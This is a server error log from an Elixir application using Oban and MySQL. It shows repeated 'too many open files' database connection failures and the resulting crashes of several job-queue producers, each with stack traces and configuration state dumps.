State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:55:15.239601Z], limit: 5, uuid: "6710f5a9-28f4-46d0-933f-17e3b167fce4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:15.239607Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.250742>, refresh_timer: #Reference<0.2525715032.1077411843.225381>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:27.655000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:28.035000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:29.839000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:30.808000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:31.675000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:36.462000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:36.981000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:55:27.243638Z], limit: 5, uuid: "dd85c777-a94d-4ae6-9560-b1d561165114", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:27.243644Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.243311>, refresh_timer: #Reference<0.2525715032.1121189889.100375>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:39.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:55:27.239959Z], limit: 10, uuid: "0c14e5ff-64ab-46b8-9fb9-c4bdd93fd230", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:27.239965Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.100361>, refresh_timer: #Reference<0.2525715032.1077411843.225501>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:39.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:55:27.246430Z], limit: 20, uuid: "c0a52e7b-0150-4ced-9ca3-28ef827721bb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:27.246437Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.225522>, refresh_timer: #Reference<0.2525715032.1077411843.225521>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:39.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:55:27.240161Z], limit: 50, uuid: "6f1366c0-b388-4db8-b4d0-44e811f7f090", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:27.240166Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.100362>, refresh_timer: #Reference<0.2525715032.1077411843.225510>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:39.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:55:27.241158Z], limit: 3, uuid: "bb414b65-1588-44a5-8df7-0a98e9031764", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:27.241163Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.100359>, refresh_timer: #Reference<0.2525715032.1121189889.100353>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:39.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 808ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:55:27.238421Z], limit: 5, uuid: "53ff7795-93b7-459c-8642-1b637f0cc537", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:27.238428Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.100358>, refresh_timer: #Reference<0.2525715032.1121189889.100317>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:40.658000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:43.056000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:46.348000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:46.541000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:47.143000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:49.984000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1068ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:55:39.243679Z], limit: 3, uuid: "61be21ad-6030-4f1b-8bea-f80ad205bff7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:39.243684Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.243668>, refresh_timer: #Reference<0.2525715032.1099169794.251191>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:51.243000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 867ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:55:39.245670Z], limit: 5, uuid: "bc53f0c2-fedf-4f8d-89a6-f45cdfe0dd26", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:39.245676Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.243666>, refresh_timer: #Reference<0.2525715032.1099169794.251205>, dispatch_cooldown: 5, running: %{}}
